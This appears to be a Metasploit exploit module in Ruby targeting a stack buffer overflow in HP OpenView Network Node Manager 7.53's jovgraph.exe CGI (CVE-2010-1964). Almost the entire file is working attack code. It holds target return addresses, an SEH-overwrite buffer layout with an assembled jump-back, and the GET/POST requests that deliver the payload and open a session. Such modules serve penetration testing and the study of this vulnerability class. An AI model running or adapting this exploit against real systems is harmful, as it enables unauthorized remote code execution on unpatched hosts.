##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	HttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/jovgraph.exe', :pattern => /Hewlett-Packard Development Company/ }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP OpenView Network Node Manager ovwebsnmpsrv.exe main Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53
				prior to NNM_01203. By specifying a long 'arg' parameter when executing the 'jovgraph.exe'
				CGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary code.

				This vulnerability is triggerable via either a GET or POST request. The buffer being
				written to is 1024 bytes in size. It is important to note that this vulnerability must
				be exploited by overwriting SEH. Otherwise, CVE-2010-1961 is triggered!

				The vulnerable code is within the "main" function within "ovwebsnmpsrv.exe" with a
				timestamp prior to April 7th, 2010. There are no stack cookies, so exploitation is
				easily achieved by overwriting SEH structures.

				There exists some unreliability when running this exploit. It is not completely clear why
				at this time, but may be related to OVWDB or session management. Also, on some attempts
				OV NNM may report invalid characters in the URL. It is not clear what is causing this
				either.
			} ,
			'Author'         =>
				[
					'jduck'   # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2010-1964' ],
					[ 'OSVDB', '65552' ],
					[ 'BID', '40873' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-108/' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02217439' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 1024, # 1024 byte buffer..
					# In addition to regular HTTP type bad chars, this one also has
					# an issue with " since the buffer is being passed on the command line.
					'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x22\x24\x2c\x3b\x60",
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',
						{
							'Ret'     => 0x5a02aadf, # pop edx/pop ebp/ret - in ov.dll (v1.30.10.9166)
						}
					],
					[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',
						{
							'Ret'     => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959
						}
					],
					[ 'Debug Target',
						{
							'Ret'     => 0xdeadbeef, # crasher
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 16 2010'))
	end

	def exploit

		print_status("Trying target #{target.name}...")

		cgi = '/OvCgi/jovgraph.exe'

		# Any command line parameter will cause a buffer overflow.

		# "action" must be set
		action = rand_text_alphanumeric(1)

		# "sel" must be set
		sel = rand_text_alphanumeric(1)

		# "timestamp" cannot be set.

		# SEH
		seh_offset = 1132
		seh_frame = generate_seh_record(target.ret)

		# Jump back to the payload, after p/p/r jumps to us.
		distance = seh_offset + seh_frame.length
		distance -= 1  # skip the first byte (cannot be -/+)
		jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

		# Create the buffer
		buf = ''
		# The first character cannot be a - or a +
		buf << rand_text(1, payload_badchars + "+-")
		buf << payload.encoded
		buf << rand_text(seh_offset - buf.length)
		buf << seh_frame
		buf << jmp_back

		# Force an exception writing off the end of the stack
		buf << rand_text(6500 - buf.length)

		# Send the request
		if rand(2) > 0
			print_status("Sending exploit via POST request...")
			res = send_request_cgi({
				'uri'		  => cgi,
				'method'	  => "POST",
				'vars_post' =>
					{
						'sel' => sel,
						'act' => action,
						'arg' => buf
					}
			}, 3)
		else
			print_status("Sending exploit via GET request...")
			res = send_request_cgi({
				'uri'		  => cgi,
				'method'	  => "GET",
				'vars_get' =>
					{
						'sel' => sel,
						'act' => action,
						'arg' => buf
					}
			}, 3)
		end

		if not res
			fail_with(Exploit::Failure::Unknown, "Eek! We didn't get a response.. Exploiting this vuln should return one!")
		end

		print_status(res.body) if datastore["NNM_DEBUG"]

		if res.body =~ /graphing applet is being/
			print_status("We got the body we were looking for, the session should be coming any second.")
		else
			fail_with(Exploit::Failure::Unknown, "Eek, exploit likely failed. The body didn't contain what we expected.")
		end

		handler

	end

	def wfs_delay
		5
	end

end
